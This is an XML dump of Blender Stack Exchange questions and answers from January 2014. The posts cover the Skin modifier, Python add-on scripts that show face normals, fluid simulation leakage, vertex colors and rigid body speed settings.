  <row Id="6557" PostTypeId="2" ParentId="6555" CreationDate="2014-01-27T08:52:45.907" Score="4" Body="&lt;p&gt;Well that armature had some funny bone directions on that legs (the bones must look pointy from the abdomen like the left ones) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tool you are searching is a &lt;strong&gt;Modifier&lt;/strong&gt; called &quot;&lt;strong&gt;Skin&lt;/strong&gt;&quot;. Like modifier, can't be used over an armature. Create a cube and modify their vertex or generate new and see how it works. You can also create one armature from your vertex with the option on the modifier (activated in object mode)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info on:&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Skin&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Skin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2266" LastEditorUserId="1363" LastEditDate="2014-01-27T11:13:11.570" LastActivityDate="2014-01-27T11:13:11.570" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6558" PostTypeId="1" AcceptedAnswerId="6562" CreationDate="2014-01-27T09:36:20.127" Score="5" ViewCount="4075" Body="&lt;p&gt;We want to see the three values of a normal of a face when we select it in edit mode.&lt;br&gt;&#xA;How to do so?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any add-on showing these sort of info realtime?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;br&gt;&#xA;It seems the accepted answer does not result correct normal vector!! In the following figure the normal vector of the selected face obviously is not (0,0,-1)!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lDQcb.png&quot; alt=&quot;error&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1716" LastEditorUserId="1716" LastEditDate="2014-01-28T01:34:32.363" LastActivityDate="2014-01-28T01:34:32.363" Title="Display values of a normal of a selected face" Tags="&lt;mesh&gt;&lt;normals&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6560" PostTypeId="2" ParentId="5700" CreationDate="2014-01-27T10:23:02.223" Score="3" Body="&lt;p&gt;The domain simulation of doing bake can't be resumed, it always starts from 0. Offset is for holding or use the cached animation later.&lt;/p&gt;&#xA;" OwnerUserId="2266" LastEditorUserId="19307" LastEditDate="2021-05-07T17:30:03.820" LastActivityDate="2021-05-07T17:30:03.820" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="6561" PostTypeId="1" CreationDate="2014-01-27T10:51:00.430" Score="10" ViewCount="7058" Body="&lt;p&gt;In fluid simulation as it is done on a grid with a resolution definable even choosing a higher value for the resolution (as in our example below, 200) it is not enough to have a realistic shape of the simulated fluid with respect to the obstacle, here a glass.  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;One may suggest that after simulation scale up the glass up to a size that the artifact disappear. This is a bad idea. The obstacle is not going to be a simple shape. Scaling causes many issues.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;One may also suggest that trying to apply Boolean operation on the resulting fluid (domain) with the obstacle (here glass) e.g., applying fluid(domain)-glass. This is also bad idea as it will not remove parts of fluid on outer surface of the obstacle.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there any better way to do this: to generate a fluid that respects the surface of the obstacle in a more realistic way?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For those may suggest even higher resolution, please note that for just such a simple simulation shown in the figure, it consumes gigabytes for baking! If you could increase the resolution to infinity, yeah, this may solve!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NfPsQ.png&quot; alt=&quot;fluid leaking&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;br&gt;&#xA;Check the following example.&#xA;Left is what you get if you don't do anything.&#xA;Right is what you get if apply Boolean operation properly on stack.&#xA;We put this example here to demonstrate that clipping (which is very costly, BTW) may work only for simple situations as this example. It cannot be done for complex shapes. The results (after couple of hours) will be very disappointing. We believe something should be applied in more low-level during fluid simulation. Say, each frame (step or stage) of fluid simulation a post=processing should apply to match the grid output with the obstacles' surfaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/35Byp.png&quot; alt=&quot;full comparison&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ueXet.gif&quot; alt=&quot;no clip&quot;&gt;  Only for simple situation like this&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Iw4Wc.gif&quot; alt=&quot;clipped&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1716" LastEditorUserId="1716" LastEditDate="2014-01-28T11:06:05.797" LastActivityDate="2016-04-29T21:45:24.897" Title="How to avoid fluid appearing outside collision objects?" Tags="&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6562" PostTypeId="2" ParentId="6558" CreationDate="2014-01-27T11:01:46.763" Score="10" Body="&lt;p&gt;Here's a little hack to add the normal vector to the &lt;em&gt;Data&lt;/em&gt; tab in &lt;em&gt;Properties Editor&lt;/em&gt;. Copy, paste and run from the &lt;em&gt;Text Editor&lt;/em&gt; (will stay until you restart Blender):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PdLUv.png&quot; alt=&quot;Active Polygon Normal in Panel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from mathutils import Vector&#xA;&#xA;def draw_func(self, context):&#xA;    layout = self.layout&#xA;&#xA;    me = context.object.data&#xA;&#xA;    if me.is_editmode:&#xA;        bm = bmesh.from_edit_mesh(me)&#xA;        if bm.faces.active is not None:&#xA;            row = layout.row()&#xA;            col = row.column()&#xA;            col.prop(context.window_manager, &quot;active_face_normal&quot;, text=&quot;&quot;, expand=True)&#xA;            row.prop(context.window_manager, &quot;active_face_normal&quot;, text=&quot;&quot;)&#xA;&#xA;            if context.window_manager.active_face_normal != bm.faces.active.normal:&#xA;                context.window_manager.active_face_normal = bm.faces.active.normal&#xA;&#xA;    else:&#xA;        p = me.polygons&#xA;        if p.active is not None:&#xA;            row = layout.row()&#xA;            col = row.column()&#xA;            col.prop(p[p.active], &quot;normal&quot;, text=&quot;&quot;, expand=True)&#xA;            row.prop(p[p.active], &quot;normal&quot;, text=&quot;&quot;)&#xA;&#xA;&#xA;def upd_normal(self, context):&#xA;    bm = bmesh.from_edit_mesh(context.object.data)&#xA;    bm.faces.active.normal = self.active_face_normal.normalized()&#xA;&#xA;def register():&#xA;    bpy.types.DATA_PT_normals.prepend(draw_func)&#xA;    bpy.types.WindowManager.active_face_normal = bpy.props.FloatVectorProperty(subtype='DIRECTION', precision=3, update=upd_normal)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.types.DATA_PT_normals.remove(draw_func)&#xA;    del bpy.types.WindowManager.active_face_normal&#xA;&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The normals are actually read-only, but I made it so you can edit the normals in edit mode. Note that they will reset as you leave the mode to e.g. object mode!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I'm not mistaken, there is a Normal edit addon, which should be similar to what I created. But AFAIK it remembers the normals per face, only used for exports however.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-01-27T11:01:46.763" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6563" PostTypeId="2" ParentId="6561" CreationDate="2014-01-27T11:21:15.017" Score="3" Body="&lt;p&gt;I can't comment, so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to keep the size of the domain as small as possible, and as fit to the simulation as possible. That makes the simulation require less resolution. For example, if you pour liquid from a bottle into a glass, restrict the boundaries of the domain to the neck of the bottle on top, and on the bottom, to the table, if you wish to have drops fall on the table. &lt;strong&gt;The domain works like a third dimension matrix. The resolution allows for the cells that are inside it to be smaller (which gives more resolution) or larger, depending on the resolution.&lt;/strong&gt; Which is why you must fit your domain to your scene as much as you can. Since the cells inside your domain are not small enough, they touch the glass and some of them leak out, since the cells are larger than the thin glass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also suggest that you try to use &quot;volume initialization&quot; set to &quot;shell&quot; on the obstacle fluid properties, which will change a lot of things (although it won't work miracles).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you already know, the trick about precise liquids is the resolution of the domain. It's the only thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One example (Only 102 of resolution and domain subsurf):&lt;img src=&quot;https://i.stack.imgur.com/vpH3d.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2266" LastEditorUserId="1653" LastEditDate="2016-04-29T21:45:24.897" LastActivityDate="2016-04-29T21:45:24.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6566" PostTypeId="2" ParentId="6558" CreationDate="2014-01-27T12:59:19.037" Score="2" Body="&lt;p&gt;Modified code based on feedback, to support locking (UI only), made it a proper addon and added &quot;Normalize / Update&quot; checkbox to disable realtime updates or live normalization respectively:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;Face Normal Display&quot;,&#xA;    &quot;author&quot;: &quot;CoDEmanX&quot;,&#xA;    &quot;version&quot;: (1, 0),&#xA;    &quot;blender&quot;: (2, 68, 0),&#xA;    &quot;location&quot;: &quot;Properties Editor &amp;gt; Data &amp;gt; Normals&quot;,&#xA;    &quot;description&quot;: &quot;Show normal property for active mesh face&quot;,&#xA;    &quot;warning&quot;: &quot;Edited normal is discarded on mode change!&quot;,&#xA;    &quot;wiki_url&quot;: &quot;&quot;,&#xA;    &quot;tracker_url&quot;: &quot;&quot;,&#xA;    &quot;category&quot;: &quot;Mesh&quot;}&#xA;&#xA;import bpy&#xA;import bmesh&#xA;from mathutils import Vector&#xA;&#xA;&#xA;def draw_func(self, context):&#xA;    layout = self.layout&#xA;&#xA;    wm = context.window_manager&#xA;    me = context.object.data&#xA;&#xA;    row = layout.row()&#xA;    row.active = me.is_editmode&#xA;&#xA;    col = row.column()&#xA;    col.scale_y = 3&#xA;    col.scale_x = 2&#xA;    col.prop(wm, &quot;face_normal_lock&quot;, icon='LOCKED' if wm.face_normal_lock else 'UNLOCKED', text=&quot;&quot;)&#xA;&#xA;    sub = row.row()&#xA;    sub.enabled = not wm.face_normal_lock&#xA;&#xA;    col = sub.column()&#xA;&#xA;    if me.is_editmode:&#xA;        bm = bmesh.from_edit_mesh(me)&#xA;        if bm.faces.active is not None:&#xA;&#xA;            col.prop(wm, &quot;face_normal_active&quot;, text=&quot;&quot;, expand=True)&#xA;            sub.prop(wm, &quot;face_normal_active&quot;, text=&quot;&quot;)&#xA;&#xA;            if wm.face_normal_normalize and wm.face_normal_active != bm.faces.active.normal:&#xA;                wm.face_normal_active = bm.faces.active.normal&#xA;        else:&#xA;            col.label(&quot;No active face!&quot;)&#xA;&#xA;    else:&#xA;        p = me.polygons&#xA;        if p.active is not None:&#xA;            col.prop(p[p.active], &quot;normal&quot;, text=&quot;&quot;, expand=True)&#xA;            row.prop(p[p.active], &quot;normal&quot;, text=&quot;&quot;)&#xA;        else:&#xA;            col.label(&quot;No active face!&quot;)&#xA;&#xA;    layout.column().prop(wm, &quot;face_normal_normalize&quot;)&#xA;&#xA;&#xA;def upd_normal(self, context):&#xA;    bm = bmesh.from_edit_mesh(context.object.data)&#xA;    if context.window_manager.face_normal_normalize:&#xA;        bm.faces.active.normal = self.face_normal_active.normalized()&#xA;    else:&#xA;        bm.faces.active.normal = self.face_normal_active&#xA;&#xA;def upd_normalize(self, context):&#xA;    if self.face_normal_normalize:&#xA;        upd_normal(self, context)&#xA;&#xA;def register():&#xA;    bpy.types.DATA_PT_normals.prepend(draw_func)&#xA;    bpy.types.WindowManager.face_normal_active = bpy.props.FloatVectorProperty(subtype='DIRECTION', min=-1.0, max=1.0, precision=3, update=upd_normal)&#xA;    bpy.types.WindowManager.face_normal_lock = bpy.props.BoolProperty(name=&quot;Lock&quot;, description=&quot;Disable normal editing above&quot;)&#xA;    bpy.types.WindowManager.face_normal_normalize = bpy.props.BoolProperty(name=&quot;Normalize / Update on selection changes&quot;, description=&quot;Disable for manual input, then re-enable&quot;, update=upd_normalize)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.types.DATA_PT_normals.remove(draw_func)&#xA;    del bpy.types.WindowManager.face_normal_active&#xA;    del bpy.types.WindowManager.face_normal_lock&#xA;    del bpy.types.WindowManager.face_normal_normalize&#xA;&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-01-27T12:59:19.037" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6567" PostTypeId="2" ParentId="6544" CreationDate="2014-01-27T13:22:15.160" Score="8" Body="&lt;p&gt;For custom properties, Blender mimics Python dictionaries &lt;em&gt;(which the following example applies to as well)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check if any datablock has property you can use Pythons &lt;code&gt;__contains__&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'char' in obj&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Used in a script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = bpy.data.objects[&quot;object&quot;]&#xA;if 'char' in obj:&#xA;    print(&quot;has char&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;code&gt;get&lt;/code&gt; method, matching Pythons &lt;code&gt;dict.get&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;value = obj.get('char', fallback)&#xA;if value is not fallback:&#xA;    print(&quot;char is:&quot;, value)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-03-03T06:52:08.400" LastActivityDate="2014-03-03T06:52:08.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6568" PostTypeId="1" AcceptedAnswerId="6580" CreationDate="2014-01-27T14:22:27.383" Score="3" ViewCount="5912" Body="&lt;p&gt;I have painted my object with vertex-color on vertex-paint. How can I make the color visible in object-mode or edit-mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meaning, how do I implement the vertex-color onto my faces so that I can see them on object-mode or edit-mode?&lt;/p&gt;&#xA;" OwnerUserId="2248" LastEditorUserId="1363" LastEditDate="2014-01-28T00:05:45.223" LastActivityDate="2014-01-28T05:13:45.683" Title="How do I implement the color I have on vertex paint onto my faces?" Tags="&lt;3d-view&gt;&lt;vertex-colors&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6569" PostTypeId="2" ParentId="6568" CreationDate="2014-01-27T14:34:39.787" Score="0" Body="&lt;p&gt;The vertex color is show in &lt;strong&gt;3D View&lt;/strong&gt; depending of your &lt;strong&gt;Viewport Shading&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One menu next to where you choose &lt;em&gt;Edit Mode&lt;/em&gt;, &lt;em&gt;Object Mode&lt;/em&gt;, &lt;em&gt;Vertex Paint&lt;/em&gt;, etc., the icons look like spheres showing different textures. You can switch between them. To see your vertex paint, &lt;strong&gt;Texture&lt;/strong&gt; is needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need vertex paint on your renders, it's another story&lt;br&gt;(&lt;em&gt;Vertex Color Paint&lt;/em&gt; in &lt;em&gt;Properties Editor &gt; Materials &gt; Options&lt;/em&gt;).&lt;/p&gt;&#xA;" OwnerUserId="2266" LastEditorUserId="1363" LastEditDate="2014-01-27T18:39:17.890" LastActivityDate="2014-01-27T18:39:17.890" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6570" PostTypeId="2" ParentId="5701" CreationDate="2014-01-27T16:01:22.713" Score="5" Body="&lt;p&gt;If you are using GLSL shading mode, and the &lt;em&gt;Nodes&lt;/em&gt; option is checked in the render tab of the properties window (by default it is); then the BGE supports material nodes. However procedural textures, and generated texture coordinates are not supported.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5q9x3.png&quot; alt=&quot;shading options for the BGE&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To be able to use your procedural material, you will have to &lt;a href=&quot;https://blender.stackexchange.com/a/13390/2217&quot;&gt;bake it&lt;/a&gt;, then use the resulting image in a new material in the game.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-06-10T01:53:20.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6571" PostTypeId="1" CreationDate="2014-01-27T17:16:59.380" Score="2" ViewCount="119" Body="&lt;p&gt;There is a column of 20 &quot;default cubes&quot; on the plane static mesh (there is no any gaps between cubes and plane; cubes are precisely align by X and Y axes; plane and cubes are not rotated).&#xA;Each cube is &quot;rigid body&quot; and has &quot;box&quot; collision bounds, all other settings are default (from Blender installation).&#xA;After BGE starts, each cube has tiny movement, and the whole column becomes curved. 21-blocks column cannot stay at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &quot;Physics -&gt; Damping -&gt; Translation&quot; option = 1.0 cubes and column keeps stability, but acquire unnatural behavior (not falling duging bumping by sphere).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to create stable column with rigid bodies (it stays upright and keeps natural physics)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W73JS.png&quot; alt=&quot;editor and game look&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2273" LastEditorUserId="2273" LastEditDate="2014-01-27T23:51:58.120" LastActivityDate="2014-01-27T23:51:58.120" Title="Direct column falls on the horizontal plane" Tags="&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6573" PostTypeId="1" CreationDate="2014-01-27T19:18:28.290" Score="1" ViewCount="404" Body="&lt;p&gt;For my game I realized that blender doesn't allow us to superimpose different textures on one mesh. I'm forced to create only one texture for each material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to is being able to let the choice to the players to chose between different &quot;skins&quot;, and different complexions on the &quot;skins&quot; like some spots, scars, tattoos, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need to be able to superimpose different textures on one material.&lt;/p&gt;&#xA;" OwnerUserId="2275" LastEditorUserId="599" LastEditDate="2014-01-27T21:25:55.327" LastActivityDate="2014-02-10T22:35:51.237" Title="How to superimpose a lot of textures in one material in the BGE?" Tags="&lt;materials&gt;&lt;texturing&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6574" PostTypeId="2" ParentId="2837" CreationDate="2014-01-27T19:45:48.660" Score="4" Body="&lt;p&gt;The limit of a Catmull-Clark surface is the union of (infinitely many) uniform cubic B-spline patches. The &quot;infinitely many&quot; bit is in parentheses because that's only true when the surface contains singularities (that come from non-4-valent, &quot;extraordinary&quot; vertices).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the curve case, it's much simpler: you just get the uniform cubic B-spline that is defined by the control points you started with. Spline means &quot;piecewise polynomial&quot;, so this means the limit is a collection of parametric polynomials, joined together (with continuity of curvature) at positions called knots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way of seeing that this is true is that each subdivision step is actually performing knot insertion on the original curve, splitting each cubic piece into two and (roughly) doubling the number of knots in the spline.&lt;/p&gt;&#xA;" OwnerUserId="562" LastActivityDate="2014-01-27T19:45:48.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6575" PostTypeId="2" ParentId="6550" CreationDate="2014-01-27T20:18:21.987" Score="0" Body="&lt;p&gt;You could put a second smaller sphere within the first one with boolean difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CVE81.png&quot; alt=&quot;modifiers&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1379" LastEditorUserId="2217" LastEditDate="2015-12-15T01:20:19.003" LastActivityDate="2015-12-15T01:20:19.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6576" PostTypeId="2" ParentId="6554" CreationDate="2014-01-28T01:16:13.777" Score="1" Body="&lt;p&gt;CoDEmanX's link had a way to fix this. It's more of a work around than a solution, but I can just change the display device in the &quot;Scene&quot; tab to None. This allows me to export the colors exactly as seen in Blender. It might mess up rendering a bit, but these are models for a game and in my case I don't need to render in Blender. One speed bump, though, is that any colors set before changing it will be messed up and will need to be corrected.&lt;/p&gt;&#xA;" OwnerUserId="2270" LastActivityDate="2014-01-28T01:16:13.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6577" PostTypeId="2" ParentId="5718" CreationDate="2014-01-28T01:46:03.177" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes. The liquid system must translate one moving object to the domain matrix, making it process for every frame, and calculate the new differences and forces produced by the push of the object over the liquid. Of course, this requires more time. &#xA;I guess if the obstacle is really complex (more faces), this also requires more time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you can use lower resolution, less to time to bake. Use lower resolution for tests and increase the resolution for the final product. Take a look at &lt;a href=&quot;https://blender.stackexchange.com/a/6563/599&quot;&gt;my answer&lt;/a&gt; on your other question.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2266" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-01-28T07:08:49.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6578" PostTypeId="1" AcceptedAnswerId="6579" CreationDate="2014-01-28T02:00:01.997" Score="2" ViewCount="162" Body="&lt;p&gt;In the Video Sequence Editor, I have added a scene and over top I added an image strip.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ybCTq.png&quot; alt=&quot;Image strip over scene&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image strip is set to 100% opacity and therefore should not be affected by whether the scene is underneath it or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, frame 15 is darker than frame 30.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tm4f1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the cause of this?&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2016-02-03T08:03:19.437" Title="Scene clip in Video Editor affects the image strip above it" Tags="&lt;video-sequence-editor&gt;&lt;color-management&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6579" PostTypeId="2" ParentId="6578" CreationDate="2014-01-28T02:00:01.997" Score="3" Body="&lt;p&gt;I &lt;a href=&quot;https://developer.blender.org/T38344&quot; rel=&quot;nofollow noreferrer&quot;&gt;submitted&lt;/a&gt; a false bug report on this issue and a developer, Sergey, explained the problem: Color Management had been turned off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Color management is on by default, and Sergey suggests not messing with it.  (someone else edited my .blend file)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To re-enable Color Management, go to the Scene tab of the Properties window and under Display Device, select sRGB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gPD5v.png&quot; alt=&quot;Color Management&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem should be gone.  Please see the &lt;a href=&quot;https://developer.blender.org/T38344&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug report&lt;/a&gt; for details on why this occurs.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="1112" LastEditDate="2014-01-28T02:06:14.233" LastActivityDate="2014-01-28T02:06:14.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6580" PostTypeId="2" ParentId="6568" CreationDate="2014-01-28T02:16:33.440" Score="5" Body="&lt;p&gt;In 3D View, hit &lt;kbd&gt;N&lt;/kbd&gt; to bring up the right panel, then enale Textured Solid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ox8GH.png&quot; alt=&quot;Textured Solid&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in Object Mode and Edit Mode, you will see the vertex colors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/weVOJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: This appears to only work with Blender Render.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="1112" LastEditDate="2014-01-28T05:13:45.683" LastActivityDate="2014-01-28T05:13:45.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6581" PostTypeId="1" AcceptedAnswerId="6584" CreationDate="2014-01-28T04:39:51.893" Score="2" ViewCount="646" Body="&lt;p&gt;Is it possible to warp time (slow time down, speed time up) with rigid body physics?&lt;/p&gt;&#xA;" OwnerUserId="195" LastEditorUserId="599" LastEditDate="2014-01-28T06:19:33.897" LastActivityDate="2014-01-28T06:40:47.800" Title="Warp time with rigid body physics?" Tags="&lt;animation&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6582" PostTypeId="5" CreationDate="2014-01-28T04:40:44.460" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-01-28T04:40:44.460" LastActivityDate="2014-01-28T04:40:44.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6583" PostTypeId="4" CreationDate="2014-01-28T04:40:44.460" Score="0" Body="The progression of time." OwnerUserId="195" LastEditorUserId="195" LastEditDate="2014-01-28T06:40:05.873" LastActivityDate="2014-01-28T06:40:05.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6584" PostTypeId="2" ParentId="6581" CreationDate="2014-01-28T06:18:29.280" Score="3" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;, this is possible. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;3D view physics:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Animate the &lt;em&gt;Speed&lt;/em&gt; value in &lt;em&gt;Properties &gt; Scene &gt; Rigid body world&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2PQ3B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Basics/Actions&quot; rel=&quot;nofollow noreferrer&quot;&gt;keyframes&lt;/a&gt; for this value by right clicking and selecting &lt;em&gt;Insert Keyframe&lt;/em&gt;, or by pressing &lt;kbd&gt;I&lt;/kbd&gt; while hovering over the field. See &lt;a href=&quot;https://blender.stackexchange.com/q/164/599&quot;&gt;this question&lt;/a&gt; for more detail.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Game engine physics:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Change the &lt;em&gt;FPS&lt;/em&gt; value in &lt;em&gt;Properties &gt; World &gt; Physics&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ed7vz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-01-28T06:40:47.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
